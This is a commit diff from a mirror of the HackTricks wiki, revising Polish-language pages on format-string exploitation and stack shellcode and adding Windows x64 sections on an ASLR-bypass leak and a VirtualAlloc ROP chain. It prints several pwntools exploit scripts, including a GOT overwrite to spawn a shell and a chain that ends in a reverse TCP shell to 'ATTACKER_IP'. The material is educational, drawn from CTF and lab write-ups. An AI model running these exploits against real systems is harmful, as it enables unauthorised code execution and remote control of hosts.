mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/format-strings/README.md', 'src/bin
This commit is contained in:
parent
11d0efd9c6
commit
65bde4a8c7
@ -234,6 +234,7 @@
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
|
||||
@ -5,13 +5,13 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
W C **`printf`** to funkcja, która może być używana do **drukowania** pewnego ciągu znaków. **Pierwszym parametrem**, którego oczekuje ta funkcja, jest **surowy tekst z formatami**. **Następne parametry** to **wartości**, które mają **zastąpić** **formaty** w surowym tekście.
|
||||
W C **`printf`** jest funkcją, którą można użyć do **wypisania** ciągu znaków. Jako **pierwszy parametr** funkcja oczekuje **surowego tekstu ze specyfikatorami formatu**. Kolejne oczekiwane **parametry** to **wartości**, które zostaną użyte do **podstawienia** **specyfikatorów formatu** w surowym tekście.
|
||||
|
||||
Inne podatne funkcje to **`sprintf()`** i **`fprintf()`**.
|
||||
|
||||
Vulnerabilność pojawia się, gdy **tekst atakującego jest używany jako pierwszy argument** tej funkcji. Atakujący będzie w stanie stworzyć **specjalne dane wejściowe, które wykorzystują** możliwości **formatu printf** do odczytu i **zapisu dowolnych danych w dowolnym adresie (czytelnym/zapisywalnym)**. Dzięki temu będzie mógł **wykonać dowolny kod**.
|
||||
Luka pojawia się, gdy jako **pierwszy argument** tej funkcji użyty zostanie **tekst sterowany przez atakującego**. Atakujący będzie mógł skonstruować **specjalne wejście wykorzystujące** możliwości ciągów formatu `printf` do odczytu i **zapisu dowolnych danych pod dowolnym adresem (do odczytu/zapisu)**. Daje to możliwość **wykonania dowolnego kodu**.
|
||||
|
||||
#### Formatery:
|
||||
#### Specyfikatory formatu:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -24,7 +24,7 @@ Vulnerabilność pojawia się, gdy **tekst atakującego jest używany jako pierw
|
||||
```
|
||||
**Przykłady:**
|
||||
|
||||
- Przykład z luką:
|
||||
- Wrażliwy przykład:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
@ -54,26 +54,26 @@ return 0;
|
||||
```
|
||||
### **Dostęp do wskaźników**
|
||||
|
||||
Format **`%<n>$x`**, gdzie `n` to liczba, pozwala wskazać printf, aby wybrał n-ty parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu używając printf, możesz to zrobić:
|
||||
Format **`%<n>$x`**, gdzie `n` jest liczbą, pozwala wskazać printfowi, aby wybrał n-ty parametr (ze stosu). Więc jeśli chcesz odczytać 4. parametr ze stosu za pomocą printf, możesz zrobić:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
i możesz czytać od pierwszego do czwartego parametru.
|
||||
i odczytałbyś od pierwszego do czwartego param.
|
||||
|
||||
Lub możesz zrobić:
|
||||
Albo możesz zrobić:
|
||||
```c
|
||||
printf("%4$x")
|
||||
```
|
||||
i czytać bezpośrednio czwarty.
|
||||
i odczytać bezpośrednio czwarty parametr.
|
||||
|
||||
Zauważ, że atakujący kontroluje `printf` **parametr, co zasadniczo oznacza, że** jego dane wejściowe będą znajdować się na stosie, gdy `printf` zostanie wywołane, co oznacza, że mógłby zapisać konkretne adresy pamięci na stosie.
|
||||
Zauważ, że atakujący kontroluje parametr `printf` **, co w praktyce oznacza, że** jego dane wejściowe znajdą się na stosie, gdy `printf` zostanie wywołany, a to oznacza, że może wypisać na stosie konkretne adresy pamięci.
|
||||
|
||||
> [!CAUTION]
|
||||
> Atakujący kontrolujący te dane wejściowe będzie w stanie **dodać dowolny adres na stosie i sprawić, że `printf` uzyska do nich dostęp**. W następnej sekcji zostanie wyjaśnione, jak wykorzystać to zachowanie.
|
||||
> Atakujący kontrolujący to wejście będzie w stanie **dodać dowolne adresy na stosie i sprawić, by `printf` uzyskał do nich dostęp**. W następnej sekcji wyjaśnione zostanie, jak wykorzystać to zachowanie.
|
||||
|
||||
## **Arbitralne Odczyty**
|
||||
## **Arbitrary Read**
|
||||
|
||||
Możliwe jest użycie formatera **`%n$s`**, aby sprawić, że **`printf`** uzyska **adres** znajdujący się na **n pozycji**, podążając za nim i **wydrukować go tak, jakby był ciągiem** (drukować aż do znalezienia 0x00). Więc jeśli adres bazowy binarnego pliku to **`0x8048000`**, a wiemy, że dane wejściowe użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wydrukowanie początku binarnego pliku za pomocą:
|
||||
Można użyć formatera **`%n$s`**, aby sprawić, że **`printf`** pobierze **adres** znajdujący się na pozycji **n**, podąży za nim i **wydrukuje go tak, jakby był stringiem** (drukuje aż do znalezienia 0x00). Zatem jeśli baza binarki to **`0x8048000`**, i wiemy, że dane użytkownika zaczynają się na 4. pozycji na stosie, można wydrukować początek binarki za pomocą:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Zauważ, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie obcięty na 0x00 na końcu tego adresu.
|
||||
> Pamiętaj, że nie możesz umieścić adresu 0x8048000 na początku wejścia, ponieważ ciąg zostanie cat w 0x00 na końcu tego adresu.
|
||||
|
||||
### Znajdź offset
|
||||
|
||||
Aby znaleźć offset do swojego wejścia, możesz wysłać 4 lub 8 bajtów (`0x41414141`), a następnie **`%1$x`** i **zwiększać** wartość, aż uzyskasz `A's`.
|
||||
Aby znaleźć offset do swojego wejścia możesz wysłać 4 lub 8 bajtów (`0x41414141`) po których umieścisz **`%1$x`** i **zwiększać** tę wartość aż odzyskasz `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
@ -128,38 +128,37 @@ p.close()
|
||||
|
||||
### Jak przydatne
|
||||
|
||||
Arbitralne odczyty mogą być przydatne do:
|
||||
Arbitrary reads mogą być przydatne do:
|
||||
|
||||
- **Zrzutu** **binarnego** z pamięci
|
||||
- **Dostępu do konkretnych części pamięci, gdzie przechowywane są wrażliwe** **informacje** (jak kanarki, klucze szyfrowania lub niestandardowe hasła, jak w tym [**wyzwaniu CTF**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** **binary** z pamięci
|
||||
- **Access specific parts of memory where sensitive** **info** jest przechowywane (np. canaries, encryption keys lub custom passwords — jak w tym [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitralne Zapis**
|
||||
## **Arbitrary Write**
|
||||
|
||||
Formatter **`%<num>$n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie w stanie sprawić, że **`%<num>$n`** zapisze arbitralną liczbę w arbitralnym adresie.
|
||||
Formatter **`%<num>$n`** **zapisuje** **liczbę zapisanych bajtów** w **wskazanym adresie** w parametrze <num> na stosie. Jeśli atakujący może zapisać dowolną liczbę znaków za pomocą printf, będzie w stanie sprawić, że **`%<num>$n`** zapisze dowolną liczbę pod dowolnym adresem.
|
||||
|
||||
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, aby to zrobić, można użyć formatera **`%.<num-write>%<num>$n`** do zapisania liczby **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
||||
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia — można użyć formatera **`%.<num-write>%<num>$n`**, aby zapisać liczbę **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Jednakże, należy zauważyć, że zazwyczaj, aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ liczbą do zapisania na raz), **używa się `$hn`** zamiast `$n`. Pozwala to na **zapisanie tylko 2 bajtów**. Dlatego ta operacja jest wykonywana dwa razy, raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
|
||||
Zauważ jednak, że zwykle, aby zapisać adres taki jak `0x08049724` (co jest OGROMNĄ liczbą do zapisania na raz), zamiast `$n` **używa się `$hn`**. To pozwala **zapisać tylko 2 bajty**. W związku z tym operacja ta jest wykonywana dwukrotnie: raz dla najwyższych 2B adresu, a drugi raz dla najniższych.
|
||||
|
||||
W związku z tym ta podatność pozwala na **zapisanie czegokolwiek w dowolnym adresie (arbitralny zapis).**
|
||||
|
||||
W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która będzie wywoływana później. Chociaż można to wykorzystać do innych technik arbitralnego zapisu do exec:
|
||||
W związku z tym ta luka pozwala **zapisać dowolne dane pod dowolny adres (arbitrary write).**
|
||||
|
||||
W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie wywołana później. Chociaż można to także wykorzystać w innych technikach arbitrary write to exec:
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskazać** ją na **funkcję** **`system`**.\
|
||||
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: **najpierw zapisujesz 2 bajty** adresu, a następnie kolejne 2. W tym celu używa się **`$hn`**.
|
||||
Zamierzamy **nadpisać** **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskazać** ją na funkcję **`system`**.\
|
||||
Jak wspomniano, aby zapisać adres zwykle potrzebne są 2 kroki: najpierw **zapisujesz 2 bajty** adresu, a potem pozostałe 2. Do tego używa się **`$hn`**.
|
||||
|
||||
- **HOB** odnosi się do 2 wyższych bajtów adresu
|
||||
- **LOB** odnosi się do 2 niższych bajtów adresu
|
||||
|
||||
Następnie, z powodu działania formatu ciągu, musisz **najpierw zapisać najmniejszy** z \[HOB, LOB], a potem drugi.
|
||||
Następnie, ze względu na działanie format string trzeba najpierw **zapisać mniejszy** z \[HOB, LOB] a potem drugi.
|
||||
|
||||
Jeśli HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
@ -180,7 +179,7 @@ Możesz znaleźć **szablon** do przygotowania exploita dla tego rodzaju podatno
|
||||
format-strings-template.md
|
||||
{{#endref}}
|
||||
|
||||
Lub ten podstawowy przykład z [**tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
Albo ten podstawowy przykład dostępny [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -199,20 +198,61 @@ p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Format Strings do BOF
|
||||
## Format Strings to BOF
|
||||
|
||||
Możliwe jest nadużycie działań zapisu w podatności na format string, aby **zapisać w adresach stosu** i wykorzystać podatność typu **buffer overflow**.
|
||||
Można nadużyć operacji zapisu wynikających z podatności typu format string, aby **zapisać pod adresy na stacku** i wykorzystać podatność typu **buffer overflow**.
|
||||
|
||||
## Inne Przykłady i Odniesienia
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
Na Windows x64 pierwsze cztery integer/pointer parametry są przekazywane w rejestrach: RCX, RDX, R8, R9. W wielu buggy call-sites attacker-controlled string jest używany jako format argument, ale nie dostarczono variadic arguments, na przykład:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Ponieważ nie są przekazywane żadne varargs, każda konwersja taka jak "%p", "%x", "%s" spowoduje, że CRT odczyta następny argument wariadyczny z odpowiedniego rejestru. With the Microsoft x64 calling convention pierwsze takie odczytanie dla "%p" pochodzi z R9. Jakakolwiek przemijająca wartość w R9 w miejscu wywołania zostanie wypisana. W praktyce this often leaks a stable in-module pointer (np. wskaźnik do obiektu lokalnego/globalnego wcześniej umieszczonego w R9 przez otaczający kod lub wartość zachowaną przez callee), który można wykorzystać do odzyskania module base i obejścia ASLR.
|
||||
|
||||
Practical workflow:
|
||||
|
||||
- Wstrzyknij nieszkodliwy format taki jak "%p " na samym początku ciągu kontrolowanego przez atakującego, tak aby pierwsza konwersja wykonała się przed jakimkolwiek filtrowaniem.
|
||||
- Capture the leaked pointer, zidentyfikuj statyczny offset tego obiektu wewnątrz modułu (poprzez jednokrotne reverse-engineering z symbolami lub lokalną kopię) i odzyskaj image base jako `leak - known_offset`.
|
||||
- Wykorzystaj tę bazę do obliczenia absolutnych adresów dla ROP gadgets i IAT entries zdalnie.
|
||||
|
||||
Example (abbreviated python):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
# Send an input that the vulnerable code will pass as the "format"
|
||||
fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9
|
||||
io = remote(HOST, 4141)
|
||||
# ... drive protocol to reach the vulnerable snprintf ...
|
||||
leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660
|
||||
base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Notatki:
|
||||
- Dokładny offset do odjęcia znajduje się raz podczas lokalnego reversing i następnie jest ponownie używany (ten sam binary/version).
|
||||
- Jeśli "%p" nie wypisuje prawidłowego pointera za pierwszym razem, spróbuj innych specyfikatorów ("%llx", "%s") lub wielu konwersji ("%p %p %p") aby spróbkować innych argument registers/stack.
|
||||
- Ten wzorzec jest specyficzny dla Windows x64 calling convention oraz implementacji printf-family, które pobierają nieistniejące varargs z registers, gdy format string ich żąda.
|
||||
|
||||
Ta technika jest niezwykle przydatna do bootstrap ROP na Windows services skompilowanych z ASLR i bez oczywistych memory disclosure primitives.
|
||||
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
||||
- 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie format strings do wycieku flagi ze stosu (nie ma potrzeby zmieniać przepływu wykonania)
|
||||
- 32 bit, no relro, no canary, nx, no pie, podstawowe użycie format strings do leak flag z stack (brak potrzeby zmiany przepływu wykonania)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bity, relro, brak canary, nx, brak pie, format string do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bity, relro, brak canary, nx, brak pie, format string do zapisania adresu wewnątrz main w `.fini_array` (aby przepływ wrócił jeszcze raz) i zapisania adresu do `system` w tabeli GOT wskazującego na `strlen`. Gdy przepływ wróci do main, `strlen` zostanie wykonane z danymi wejściowymi użytkownika i wskazując na `system`, wykona przekazane polecenia.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string do zapisania adresu wewnątrz main w `.fini_array` (tak że flow wraca jeszcze raz) oraz zapisania adresu `system` w GOT wskazującym na `strlen`. Kiedy flow wróci do main, `strlen` zostanie wykonany z danymi użytkownika i wskazując na `system`, wykona przekazane polecenia.
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Stack shellcode** to technika używana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazywał na lokalizację tego shellcode, co powoduje jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonywania dowolnych poleceń na docelowym systemie. Oto podział procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie z użyciem **pwntools**.
|
||||
**Stack shellcode** to technika używana w **binary exploitation**, w której atakujący zapisuje shellcode na stosie podatnego programu, a następnie modyfikuje **Instruction Pointer (IP)** lub **Extended Instruction Pointer (EIP)**, aby wskazywał na lokalizację tego shellcode'a, powodując jego wykonanie. Jest to klasyczna metoda używana do uzyskania nieautoryzowanego dostępu lub wykonania dowolnych poleceń na docelowym systemie. Poniżej znajduje się rozbicie procesu, w tym prosty przykład w C oraz sposób, w jaki można napisać odpowiadający exploit w Pythonie za pomocą **pwntools**.
|
||||
|
||||
### Przykład C: Podatny program
|
||||
### C Example: Program podatny na ataki
|
||||
|
||||
Zacznijmy od prostego przykładu podatnego programu w C:
|
||||
Zacznijmy od prostego przykładu programu w C podatnego na ataki:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -28,18 +28,18 @@ Ten program jest podatny na przepełnienie bufora z powodu użycia funkcji `gets
|
||||
|
||||
### Kompilacja
|
||||
|
||||
Aby skompilować ten program, wyłączając różne zabezpieczenia (aby zasymulować podatne środowisko), możesz użyć następującego polecenia:
|
||||
Aby skompilować ten program z wyłączonymi różnymi zabezpieczeniami (aby zasymulować podatne środowisko), możesz użyć następującego polecenia:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-fno-stack-protector`: Wyłącza ochronę stosu.
|
||||
- `-z execstack`: Umożliwia wykonanie kodu na stosie, co jest konieczne do uruchomienia shellcode przechowywanego na stosie.
|
||||
- `-no-pie`: Wyłącza Position Independent Executable, co ułatwia przewidywanie adresu pamięci, w którym będzie znajdować się nasz shellcode.
|
||||
- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w rozwoju exploitów.
|
||||
- `-z execstack`: Sprawia, że stos jest wykonywalny, co jest konieczne do uruchamiania shellcode umieszczonego na stosie.
|
||||
- `-no-pie`: Wyłącza Position Independent Executable (PIE), co ułatwia przewidzenie adresu pamięci, w którym będzie znajdował się nasz shellcode.
|
||||
- `-m32`: Kompiluje program jako 32-bitowy plik wykonywalny, często używany dla uproszczenia w exploit development.
|
||||
|
||||
### Python Exploit using Pwntools
|
||||
### Python Exploit przy użyciu Pwntools
|
||||
|
||||
Oto jak można napisać exploit w Pythonie używając **pwntools** do przeprowadzenia ataku **ret2shellcode**:
|
||||
Oto jak możesz napisać exploit w Pythonie, używając **pwntools**, aby przeprowadzić atak **ret2shellcode**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Ten skrypt konstruuje ładunek składający się z **NOP slide**, **shellcode** i następnie nadpisuje **EIP** adresem wskazującym na NOP slide, zapewniając, że shellcode zostanie wykonany.
|
||||
Ten skrypt konstruuje payload składający się z **NOP slide**, **shellcode**, a następnie nadpisuje **EIP** adresem wskazującym na NOP slide, zapewniając wykonanie shellcode.
|
||||
|
||||
**NOP slide** (`asm('nop')`) jest używany do zwiększenia szansy, że wykonanie "zsunie się" do naszego shellcode niezależnie od dokładnego adresu. Dostosuj argument `p32()` do początkowego adresu twojego bufora plus offset, aby trafić w NOP slide.
|
||||
The **NOP slide** (`asm('nop')`) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the `p32()` argument to the starting address of your buffer plus an offset to land in the NOP slide.
|
||||
|
||||
## Ochrony
|
||||
## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinno być wyłączone**, aby adres był wiarygodny w różnych wykonaniach, w przeciwnym razie adres, w którym funkcja będzie przechowywana, nie będzie zawsze taki sam i będziesz potrzebować jakiegoś wycieku, aby dowiedzieć się, gdzie załadowana jest funkcja win.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) również powinny być wyłączone, w przeciwnym razie skompromitowany adres zwrotny EIP nigdy nie będzie śledzony.
|
||||
- Ochrona **NX** (no-execute) [**stack**](../../common-binary-protections-and-bypasses/no-exec-nx.md) uniemożliwi wykonanie shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
|
||||
Na nowoczesnych Windows stack jest non-executable (DEP/NX). Powszechną metodą, aby nadal wykonać stack-resident shellcode po stack BOF, jest zbudowanie 64-bit ROP chain, który wywołuje VirtualAlloc (lub VirtualProtect) z Import Address Table (IAT) modułu, aby uczynić region stacka wykonywalnym, a następnie powrót do shellcode dołączonego po chain.
|
||||
|
||||
Kluczowe punkty (Win64 calling convention):
|
||||
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
|
||||
- RCX = lpAddress → wybierz adres w aktualnym stacku (np. RSP), tak aby nowo zaalokowany region RWX nachodził na twój payload
|
||||
- RDX = dwSize → wystarczająco duży dla twojego chain + shellcode (np. 0x1000)
|
||||
- R8 = flAllocationType = MEM_COMMIT (0x1000)
|
||||
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
|
||||
- Return directly into the shellcode placed right after the chain.
|
||||
|
||||
Minimal strategy:
|
||||
1) Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
|
||||
2) Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
|
||||
3) Place stage-2 shellcode immediately after the chain.
|
||||
|
||||
Przykładowy układ (koncepcyjny):
|
||||
```
|
||||
# ... padding up to saved RIP ...
|
||||
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
|
||||
POP_R9_RET; 0x40
|
||||
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
|
||||
POP_R8_RET; 0x1000
|
||||
# RCX = &stack (lpAddress)
|
||||
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
|
||||
# RDX = size (dwSize)
|
||||
POP_RDX_RET; 0x1000
|
||||
# Call VirtualAlloc via the IAT
|
||||
[IAT_VirtualAlloc]
|
||||
# New RWX memory at RCX — execution continues at the next stack qword
|
||||
JMP_SHELLCODE_OR_RET
|
||||
# ---- stage-2 shellcode (x64) ----
|
||||
```
|
||||
Przy ograniczonym zestawie gadgets możesz pośrednio ustawić wartości rejestrów, na przykład:
|
||||
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ustawia r9 z rbx, zeruje r8 i kompensuje stos za pomocą śmieciowego qword.
|
||||
- xor rbx, rsp; ret → załadowuje rbx wartością aktualnego wskaźnika stosu.
|
||||
- push rbx; pop rax; mov rcx, rax; ret → przenosi wartość pochodzącą z RSP do RCX.
|
||||
|
||||
Szkic Pwntools (zakładając znane base i gadgets):
|
||||
```python
|
||||
from pwn import *
|
||||
base = 0x7ff6693b0000
|
||||
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
|
||||
rop = b''
|
||||
# r9 = 0x40
|
||||
rop += p64(base+POP_RBX_RET) + p64(0x40)
|
||||
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
|
||||
# rcx = rsp
|
||||
rop += p64(base+POP_RBX_RET) + p64(0)
|
||||
rop += p64(base+XOR_RBX_RSP_RET)
|
||||
rop += p64(base+PUSH_RBX_POP_RAX_RET)
|
||||
rop += p64(base+MOV_RCX_RAX_RET)
|
||||
# r8 = 0x1000 via arithmetic if no pop r8
|
||||
for _ in range(0x1000//0x40):
|
||||
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
|
||||
# rdx = 0x1000 (use any available gadget)
|
||||
rop += p64(base+POP_RDX_RET) + p64(0x1000)
|
||||
# call VirtualAlloc and land in shellcode
|
||||
rop += p64(IAT_VirtualAlloc)
|
||||
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
|
||||
```
|
||||
Wskazówki:
|
||||
- VirtualProtect działa podobnie, jeśli wolisz nadać istniejącemu buforowi prawa RX; kolejność parametrów jest inna.
|
||||
- Jeśli miejsce na stosie jest ograniczone, zaalokuj RWX gdzie indziej (RCX=NULL) i jmp do tego nowego obszaru zamiast ponownie używać stosu.
|
||||
- Zawsze uwzględniaj gadgets, które modyfikują RSP (np. add rsp, 8; ret) przez wstawienie śmieciowych qwords.
|
||||
|
||||
|
||||
- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **powinien być wyłączony**, aby adres był wiarygodny między uruchomieniami — w przeciwnym razie adres, pod którym funkcja zostanie umieszczona, nie będzie zawsze taki sam i potrzebowałbyś jakiegoś leak, aby ustalić, gdzie załadowana jest funkcja win.
|
||||
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) **powinny być również wyłączone**, inaczej skompromitowany adres powrotu EIP nigdy nie zostanie osiągnięty.
|
||||
- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** protection zapobiegnie wykonaniu shellcode wewnątrz stosu, ponieważ ten obszar nie będzie wykonywalny.
|
||||
|
||||
## Inne przykłady i odniesienia
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
|
||||
- 64bit, ASLR z wyciekiem adresu stosu, zapisz shellcode i przeskocz do niego
|
||||
- 64-bit, ASLR with stack address leak, zapisz shellcode i skocz do niego
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html)
|
||||
- 32 bit, ASLR z wyciekiem stosu, zapisz shellcode i przeskocz do niego
|
||||
- 32-bit, ASLR with stack leak, zapisz shellcode i skocz do niego
|
||||
- [https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html)
|
||||
- 32 bit, ASLR z wyciekiem stosu, porównanie, aby zapobiec wywołaniu exit(), nadpisz zmienną wartością i zapisz shellcode oraz przeskocz do niego
|
||||
- 32-bit, ASLR with stack leak, porównanie zapobiegające wywołaniu exit(), nadpisz zmienną wartością, zapisz shellcode i skocz do niego
|
||||
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
|
||||
- arm64, brak ASLR, gadżet ROP, aby uczynić stos wykonywalnym i przeskoczyć do shellcode w stosie
|
||||
- arm64, brak ASLR, ROP gadget, aby uczynić stos wykonywalnym i skoczyć do shellcode na stosie
|
||||
|
||||
|
||||
## Odniesienia
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [VirtualAlloc documentation](https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,122 @@
|
||||
# Windows kernel EoP: Token stealing with arbitrary kernel R/W
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
